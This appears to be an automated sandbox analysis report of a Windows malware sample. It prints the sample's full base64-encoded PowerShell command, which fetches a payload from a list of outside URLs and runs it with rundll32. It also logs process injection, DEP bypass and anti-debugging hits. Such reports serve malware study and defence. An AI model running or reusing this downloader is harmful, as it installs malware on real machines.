cmdline powershell -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAUgBhAGQAaQBvAHMAZQBuAHMAaQB0AGkAdgBpAHQAeQAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAGMAaQB0AHkAdABlAGMAaAAtAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwA2AE0AaAAxAGsALwBCADcARQBIAHMAYgBVAFgAcQBrAGYALABoAHQAdABwAHMAOgAvAC8AZQByAGcALQBlAGcALgBjAG8AbQAvAG8AYwBtAGIALwB0AHYAYgBqAFMALABoAHQAdABwAHMAOgAvAC8AYwBhAHIAbABhAGQAdgBvAGcAYQBkAGEAdAByAGkAYgB1AHQAYQByAGkAYQAuAGMAbwBtAC8AdAB2AG4AcQA5AC8AVABIAFcAawBMACwAaAB0AHQAcABzADoALwAvAG0AcgBjAHIAaQB6AHEAdQBuAGEALgBjAG8AbQAvAEwANwBjAGMATgAvAFAAaQBmAGoASgA3ADUAaAAzACwAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABsAG8AcwBtAGkAcgB0AG8AcwAuAGMAbwBtAC8AcwBqAG4ALwA3AHkARAB6AFoAVwAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBFAEQAdABtAEcAcgBMACwAaAB0AHQAcABzADoALwAvAGcAcwBzAGMAbwByAHAAbwByAGEAdABpAG8AbgBsAHQAZAAuAGMAbwBtAC8AbwBrAFMAZgBqAC8AZwBkAE8AcQBWAGMAcwBjAGYAeAAsAGgAdAB0AHAAcwA6AC8ALwB6AGEAaQBuAGMAbwAuAG4AZQB0AC8ATwBkAE8AVQAvADkAUwA2AG8AWgBXADgAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBwAHMAdwBlAHAAdAAgAGkAbgAgACQAUgBhAGQAaQBvAHMAZQBuAHMAaQB0AGkAdgBpAHQAeQApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAVQBwAHMAdwBlAHAAdAAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEAOQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAZABpAGYAZgBlAHIAZQBuAHQAaQBhAGwAcwAuAHUAbgBjAG8AbQBpAGMAYQBsAEYAbwByAGUAYwBvAG0AbQBlAG4AZAA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGQAaQBmAGYAZQByAGUAbgB0AGkAYQBsAHMALgB1AG4AYwBvAG0AaQBjAGEAbABGAG8AcgBlAGMAbwBtAG0AZQBuAGQAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAawBBAEcAawBBAFoAZwBCAG0AQQBHAFUAQQBjAGcAQgBsAEEARwA0AEEAZABBAEIAcABBAEcARQBBAGIAQQBCAHoAQQBDADQAQQBkAFEAQgB1AEEARwBNAEEAYgB3AEIAdABBAEcAawBBAFkAdwBCAGgAQQBHAHcAQQBSAGcAQgB2AEEASABJAEEAWgBRAEIAagBBAEcAOABBAGIAUQBCAHQAQQBHAFUAQQBiAGcAQgBrAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA="
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAUgBhAGQAaQBvAHMAZQBuAHMAaQB0AGkAdgBpAHQAeQAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAGMAaQB0AHkAdABlAGMAaAAtAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwA2AE0AaAAxAGsALwBCADcARQBIAHMAYgBVAFgAcQBrAGYALABoAHQAdABwAHMAOgAvAC8AZQByAGcALQBlAGcALgBjAG8AbQAvAG8AYwBtAGIALwB0AHYAYgBqAFMALABoAHQAdABwAHMAOgAvAC8AYwBhAHIAbABhAGQAdgBvAGcAYQBkAGEAdAByAGkAYgB1AHQAYQByAGkAYQAuAGMAbwBtAC8AdAB2AG4AcQA5AC8AVABIAFcAawBMACwAaAB0AHQAcABzADoALwAvAG0AcgBjAHIAaQB6AHEAdQBuAGEALgBjAG8AbQAvAEwANwBjAGMATgAvAFAAaQBmAGoASgA3ADUAaAAzACwAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABsAG8AcwBtAGkAcgB0AG8AcwAuAGMAbwBtAC8AcwBqAG4ALwA3AHkARAB6AFoAVwAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBFAEQAdABtAEcAcgBMACwAaAB0AHQAcABzADoALwAvAGcAcwBzAGMAbwByAHAAbwByAGEAdABpAG8AbgBsAHQAZAAuAGMAbwBtAC8AbwBrAFMAZgBqAC8AZwBkAE8AcQBWAGMAcwBjAGYAeAAsAGgAdAB0AHAAcwA6AC8ALwB6AGEAaQBuAGMAbwAuAG4AZQB0AC8ATwBkAE8AVQAvADkAUwA2AG8AWgBXADgAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBwAHMAdwBlAHAAdAAgAGkAbgAgACQAUgBhAGQAaQBvAHMAZQBuAHMAaQB0AGkAdgBpAHQAeQApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAVQBwAHMAdwBlAHAAdAAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEAOQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAZABpAGYAZgBlAHIAZQBuAHQAaQBhAGwAcwAuAHUAbgBjAG8AbQBpAGMAYQBsAEYAbwByAGUAYwBvAG0AbQBlAG4AZAA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGQAaQBmAGYAZQByAGUAbgB0AGkAYQBsAHMALgB1AG4AYwBvAG0AaQBjAGEAbABGAG8AcgBlAGMAbwBtAG0AZQBuAGQAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAawBBAEcAawBBAFoAZwBCAG0AQQBHAFUAQQBjAGcAQgBsAEEARwA0AEEAZABBAEIAcABBAEcARQBBAGIAQQBCAHoAQQBDADQAQQBkAFEAQgB1AEEARwBNAEEAYgB3AEIAdABBAEcAawBBAFkAdwBCAGgAQQBHAHcAQQBSAGcAQgB2AEEASABJAEEAWgBRAEIAagBBAEcAOABBAGIAUQBCAHQAQQBHAFUAQQBiAGcAQgBrAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA="
filepath: powershell
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 16 (PAGE_EXECUTE)
base_address: 0x03560000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
Process injection Process 3048 resumed a thread in remote process 2184
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000384
suspend_count: 1
process_identifier: 2184
1 0 0
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe